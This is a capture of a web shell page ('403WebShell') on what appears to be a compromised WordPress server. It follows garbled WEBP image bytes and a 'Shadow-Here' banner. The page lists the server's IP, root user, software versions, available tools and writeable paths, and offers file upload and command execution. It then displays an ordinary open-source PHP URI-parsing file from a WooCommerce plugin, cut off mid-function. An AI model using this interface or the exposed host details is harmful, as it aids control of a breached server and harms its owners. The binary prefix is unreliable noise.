RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/prima-world/wp-content/plugins/woocommerce/vendor/opis/uri/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/prima-world/wp-content/plugins/woocommerce/vendor/opis/uri/src/Uri.php
<?php
/* ============================================================================
 * Copyright 2021 Zindex Software
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *    http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * ============================================================================ */

namespace Opis\Uri;

use Opis\String\UnicodeString;

class Uri
{
    protected const URI_REGEX = '`^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$`';

    protected const SCHEME_REGEX = '`^[a-z][a-z0-9-+.]*$`i';

    protected const USER_OR_PASS_REGEX = '`^(?:(?:%[a-f0-9]{2})+|[a-z0-9-._~!$&\'()*+,:;=]+)*$`i';

    protected const USERINFO_REGEX = '`^(?<user>[^:]+)(?::(?<pass>.*))?$`';

    protected const HOST_LABEL_REGEX = '`^(?:(?:%[a-f0-9]{2})+|[a-z0-9-]+)*$`i';

    protected const AUTHORITY_REGEX = '`^(?:(?<userinfo>[^@]+)\@)?(?<host>(\[[a-f0-9:]+\]|[^:]+))(?::(?<port>\d+))?$`i';

    protected const PATH_REGEX = '`^(?:(?:%[a-f0-9]{2})+|[a-z0-9-._~!$&\'()*+,;=:@/]+)*$`i';

    protected const QUERY_OR_FRAGMENT_REGEX = '`^(?:(?:%[a-f0-9]{2})+|[a-z0-9-._~!$&\'"()\[\]*+,;=:@?/%]+)*$`i';

    protected array $components;

    protected ?string $str = null;

    /**
     * @param array $components An array of normalized components
     */
    public function __construct(array $components)
    {
        $this->components = $components + [
                'scheme' => null,
                'user' => null,
                'pass' => null,
                'host' => null,
                'port' => null,
                'path' => null,
                'query' => null,
                'fragment' => null,
            ];
    }

    /**
     * @return string|null
     */
    public function scheme(): ?string
    {
        return $this->components['scheme'];
    }

    /**
     * @return string|null
     */
    public function user(): ?string
    {
        return $this->components['user'];
    }

    /**
     * @return string|null
     */
    public function pass(): ?string
    {
        return $this->components['pass'];
    }

    /**
     * @return string|null
     */
    public function userInfo(): ?string
    {
        if ($this->components['user'] === null) {
            return null;
        }

        if ($this->components['pass'] === null) {
            return $this->components['user'];
        }

        return $this->components['user'] . ':' . $this->components['pass'];
    }

    /**
     * @return string|null
     */
    public function host(): ?string
    {
        return $this->components['host'];
    }

    /**
     * @return int|null
     */
    public function port(): ?int
    {
        return $this->components['port'];
    }

    /**
     * @return string|null
     */
    public function authority(): ?string
    {
        if ($this->components['host'] === null) {
            return null;
        }

        $authority = $this->userInfo();
        if ($authority !== null) {
            $authority .= '@';
        }

        $authority .= $this->components['host'];

        if ($this->components['port'] !== null) {
            $authority .= ':' . $this->components['port'];
        }

        return $authority;
    }

    /**
     * @return string|null
     */
    public function path(): ?string
    {
        return $this->components['path'];
    }

    /**
     * @return string|null
     */
    public function query(): ?string
    {
        return $this->components['query'];
    }

    /**
     * @return string|null
     */
    public function fragment(): ?string
    {
        return $this->components['fragment'];
    }

    /**
     * @return array|null[]
     */
    public function components(): array
    {
        return $this->components;
    }

    /**
     * @return bool
     */
    public function isAbsolute(): bool
    {
        return $this->components['scheme'] !== null;
    }

    /**
     * Use this URI as base to resolve the reference
     * @param static|string|array $ref
     * @param bool $normalize
     * @return $this|null
     */
    public function resolveRef($ref, bool $normalize = false): ?self
    {
        $ref = self::resolveComponents($ref);
        if ($ref === null) {
            return $this;
        }

        return new static(self::mergeComponents($ref, $this->components, $normalize));
    }

    /**
     * Resolve this URI reference using a base URI
     * @param static|string|array $base
     * @param bool $normalize
     * @return static
     */
    public function resolve($base, bool $normalize = false): self
    {
        if ($this->isAbsolute()) {
            return $this;
        }

        $base = self::resolveComponents($base);

        if ($base === null) {
            return $this;
        }

        return new static(self::mergeComponents($this->components, $base, $normalize));
    }

    /**
     * @return string
     */
    public function __toString(): string
    {
        if ($this->str !== null) {
            return $this->str;
        }

        $str = '';

        if ($this->components['scheme'] !== null) {
            $str .= $this->components['scheme'] . ':';
        }

        if ($this->components['host'] !== null) {
            $str .= '//' . $this->authority();
        }

        $str .= $this->components['path'];

        if ($this->components['query'] !== null) {
            $str .= '?' . $this->components['query'];
        }

        if ($this->components['fragment'] !== null) {
            $str .= '#' . $this->components['fragment'];
        }

        return $this->str = $str;
    }

    /**
     * @param string $uri
     * @param bool $normalize
     * @return static|null
     */
    public static function create(string $uri, bool $normalize = false): ?self
    {
        $comp = self::parseComponents($uri);
        if (!$comp) {
            return null;
        }

        if ($normalize) {
            $comp = self::normalizeComponents($comp);
        }

        return new static($comp);
    }

    /**
     * Checks if the scheme contains valid chars
     * @param string $scheme
     * @return bool
     */
    public static function isValidScheme(string $scheme): bool
    {
        return (bool)preg_match(self::SCHEME_REGEX, $scheme);
    }

    /**
     * Checks if user contains valid chars
     * @param string $user
     * @return bool
     */
    public static function isValidUser(string $user): bool
    {
        return (bool)preg_match(self::USER_OR_PASS_REGEX, $user);
    }

    /**
     * Checks if pass contains valid chars
     * @param string $pass
     * @return bool
     */
    public static function isValidPass(string $pass): bool
    {
        return (bool)preg_match(self::USER_OR_PASS_REGEX, $pass);
    }

    /**
     * @param string $userInfo
     * @return bool
     */
    public static function isValidUserInfo(string $userInfo): bool
    {
        /** @var array|string $userInfo */

        if (!preg_match(self::USERINFO_REGEX, $userInfo, $userInfo)) {
            return false;
        }

        if (!self::isValidUser($userInfo['user'])) {
            return false;
        }

        if (isset($userInfo['pass'])) {
            return self::isValidPass($userInfo['pass']);
        }

        return true;
    }

    /**
     * Checks if host is valid
     * @param string $host
     * @return bool
     */
    public static function isValidHost(string $host): bool
    {
        // min and max length
        if ($host === '' || isset($host[253])) {
            return false;
        }

        // check ipv6
        if ($host[0] === '[') {
            if ($host[-1] !== ']') {
                return false;
            }

            return filter_var(
                    substr($host, 1, -1),
                    \FILTER_VALIDATE_IP,
                    \FILTER_FLAG_IPV6
                ) !== false;
        }

        // check ipv4
        if (preg_match('`^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\$`', $host)) {
            return \filter_var($host, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV4) !== false;
        }

        foreach (explode('.', $host) as $host) {
            // empty or too long label
            if ($host === '' || isset($host[63])) {
                return false;
            }
            if ($host[0] === '-' || $host[-1] === '-') {
                return false;
            }
            if (!preg_match(self::HOST_LABEL_REGEX, $host)) {
                return false;
            }
        }

        return true;
    }

    /**
     * Checks if the port is valid
     * @param int $port
     * @return bool
     */
    public static function isValidPort(int $port): bool
    {
        return $port >= 0 && $port <= 65535;
    }

    /**
     * Checks if authority contains valid chars
     * @param string $authority
     * @return bool
     */
    public static function isValidAuthority(string $authority): bool
    {
        if ($authority === '') {
            return true;
        }

        /** @var array|string $authority */

        if (!preg_match(self::AUTHORITY_REGEX, $authority, $authority)) {
            return false;
        }

        if (isset($authority['port']) && !self::isValidPort((int)$authority['port'])) {
            return false;
        }

        if (isset($authority['userinfo']) && !self::isValidUserInfo($authority['userinfo'])) {
            return false;
        }

        return self::isValidHost($authority['host']);
    }

    /**
     * Checks if the path contains valid chars
     * @param string $path
     * @return bool
     */
    public static function isValidPath(string $path): bool
    {
        return $path === '' || (bool)preg_match(self::PATH_REGEX, $path);
    }

    /**
     * Checks if the query string contains valid chars
     * @param string $query
     * @return bool
     */
    public static function isValidQuery(string $query): bool
    {
        return $query === '' || (bool)preg_match(self::QUERY_OR_FRAGMENT_REGEX, $query);
    }

    /**
     * Checks if the fragment contains valid chars
     * @param string $fragment
     * @return bool
     */
    public static function isValidFragment(string $fragment): bool
    {
        return $fragment === '' || (bool)preg_match(self::QUERY_OR_FRAGMENT_REGEX, $fragment);
    }

    /**
     * @param string $uri
     * @param bool $expand_authority
     * @param bool $validate
     * @return array|null
     */
    public static function parseComponents(string $uri, bool $expand_authority = true, bool $validate = true): ?array
    {
        if (!preg_match(self::URI_REGEX, $uri, $uri)) {
            return null;
        }

        $comp = [];

        // scheme
        if (isset($uri[2]) && $uri[2] !== '') {
            if ($validate && !self::isValidScheme($uri[2])) {
                return null;
            }
            $comp['scheme'] = $uri[2];
        }

        // authority
        if (isset($uri[4]) && isset($uri[3][0])) {
            if ($uri[4] === '') {
                if ($expand_authority) {
                    $comp['host'] = '';
                } else {
                    $comp['authority'] = '';
                }
            } elseif ($expand_authority) {
                $au = self::parseAuthorityComponents($uri[4], $validate);
                if ($au === null) {
                    return null;
                }
                $comp += $au;
                unset($au);
            } else {
                if ($validate && !self::isValidAuthority($uri[4])) {
                    return null;
                }
                $comp['authority'] = $uri[4];
            }
        }

        // path
        if (isset($uri[5])) {
            if ($validate && !self::isValidPath($uri[5])) {
                return null;
            }
            $comp['path'] = $uri[5];
            // not a relative uri, remove dot segments
            if (isset($comp['scheme']) || isset($comp['authority']) || isset($comp['host'])) {
                $comp['path'] = self::removeDotSegmentsFromPath($comp['path']);
            }
        }

        // query
        if (isset($uri[7]) && isset($uri[6][0])) {
            if ($validate && !self::isValidQuery($uri[7])) {
                return null;
            }
            $comp['query'] = $uri[7];
        }

        // fragment
        if (isset($uri[9]) && isset($uri[8][0])) {
            if ($validate && !self::isValidFragment($uri[9])) {
                return null;
            }
            $comp['fragment'] = $uri[9];
        }

        return $comp;
    }

    /**
     * @param self|string|array $uri
     * @return array|null
     */
    public static function resolveComponents($uri): ?array
    {
        if ($uri instanceof self) {
            return $uri->components;
        }

        if (is_string($uri)) {
            return self::parseComponents($uri);
        }

        if (is_array($uri)) {
            if (isset($uri['host'])) {
                unset($uri['authority']);
            } elseif (isset($uri['authority'])) {
                $au = self::parseAuthorityComponents($uri['authority']);
                unset($uri['authority']);
                if ($au !== null) {
                    unset($uri['user'], $uri['pass'], $uri['host'], $uri['port']);
                    $uri += $au;
                }
            }
            return $uri;
        }

        return null;
    }

    /**
     * @param string $authority
     * @param bool $validate
     * @return array|null
     */
    public static function parseAuthorityComponents(string $authority, bool $validate = true): ?array
    {
        /** @var array|string $authority */

        if (!preg_match(self::AUTHORITY_REGEX, $authority, $authority)) {
            return null;
        }

        $comp = [];

        // userinfo
        if (isset($authority['userinfo']) && $authority['userinfo'] !== '') {
            if (!preg_match(self::USERINFO_REGEX, $authority['userinfo'], $ui)) {
                return null;
            }

            // user
            if ($validate && !self::isValidUser($ui['user'])) {
                return null;
            }
            $comp['user'] = $ui['user'];

            // pass
            if (isset($ui['pass']) && $ui['pass'] !== '') {
                if ($validate && !self::isValidPass($ui['pass'])) {
                    return null;
                }
                $comp['pass'] = $ui['pass'];
            }

            unset($ui);
        }

        // host
        if ($validate && !self::isValidHost($authority['host'])) {
            return null;
        }
        $comp['host'] = $authority['host'];


        // port
        if (isset($authority['port'])) {
            $authority['port'] = (int)$authority['port'];
            if (!self::isValidPort($authority['port'])) {
                return null;
            }
            $comp['port'] = $authority['port'];
        }

        return $comp;
    }

    /**
     * @param array $ref
     * @param array $base
     * @param bool $normalize
     * @return array
     */
    public static function mergeComponents(array $ref, array $base, bool $normalize = false): array
    {
        if (isset($ref['scheme'])) {
            $dest = $ref;
        } else {
            $dest = [];

            $dest['scheme'] = $base['scheme'] ?? null;

            if (isset($ref['authority']) || isset($ref['host'])) {
                $dest += $ref;
            } else {
                if (isset($base['authority'])) {
                    $dest['authority'] = $base['authority'];
                } else {
                    $dest['user'] = $base['user'] ?? null;
                    $dest['pass'] = $base['pass'] ?? null;
                    $dest['host'] = $base['host'] ?? null;
                    $dest['port'] = $base['port'] ?? null;
                }

                if (!isset($ref['path'])) {
                    $ref['path'] = '';
                }
                if (!isset($base['path'])) {
                    $base['path'] = '';
                }

                if ($ref['path'] === '') {
                    $dest['path'] = $base['path'];
                    $dest['query'] = $ref['query'] ?? $base['query'] ?? null;
                } else {
                    if ($ref['path'][0] === '/') {
                        $dest['path'] = $ref['path'];
                    } else {
                        if ((isset($base['authority']) || isset($base['host'])) && $base['path'] === '') {
                            $dest['path'] = '/' . $ref['path'];
                        } else {
                            $dest['path'] = $base['path'];

                            if ($dest['path'] !== '') {
                                $pos = strrpos($dest['path'], '/');
                                if ($pos === false) {
                                    $dest['path'] = '';
                                } else {
                                    $dest['path'] = substr($dest['path'], 0, $pos);
                                }

                                unset($pos);
                            }
                            $dest['path'] .= '/' . $ref['path'];
                        }
                    }

                    $dest['query'] = $ref['query'] ?? null;
                }
            }
        }

        $dest['fragment'] = $ref['fragment'] ?? null;

        if ($normalize) {
            return self::normalizeComponents($dest);
        }

        if (isset($dest['path'])) {
            $dest['path'] = self::removeDotSegmentsFromPath($dest['path']);
        }

        return $dest;
    }

    public static function normalizeComponents(array $components): array
    {
        if (isset($components['scheme'])) {
            $components['scheme'] = strtolower($components['scheme']);
            // Remove default port
            if (isset($components['port']) && self::getSchemePort($components['scheme']) === $components['port']) {
                $components['port'] = null;
            }
        }

        if (isset($components['host'])) {
            $components['host'] = strtolower($components['host']);
        }

        if (isset($components['path'])) {
            $components['path'] = self::removeDotSegmentsFromPath($components['path']);
        }

        if (isset($components['query'])) {
            $components['query'] = self::normalizeQueryString($components['query']);
        }

        return $components;
    }

    /**
     * Removes dot segments from path
     * @param string $path
     * @return string
     */
    public static function removeDotSegmentsFromPath(string $path): string
    {
        // Fast check common simple paths
        if ($path === '' || $path === '/') {
            return $path;
        }

        $output = '';
        $last_slash = 0;

        $len = strlen($path);
        $i = 0;

        while ($i < $len) {
            if ($path[$i] === '.') {
                $j = $i + 1;
                // search for .
                if ($j >= $len) {
                    break;
                }

                // search for ./
                if ($path[$j] === '/') {
                    $i = $j + 1;
                    continue;
                }

                // search for ../
                if ($path[$j] === '.') {
                    $k = $j + 1;
                    if ($k >= $len) {
                        break;
                    }
                    if ($path[$k] === '/') {
                        $i = $k + 1;
                        continue;
                    }
                }
            } elseif ($path[$i] === '/') {
                $j = $i + 1;
                if ($j >= $len) {
                    $output .= '/';
                    break;
                }

                // search for /.
                if ($path[$j] === '.') {
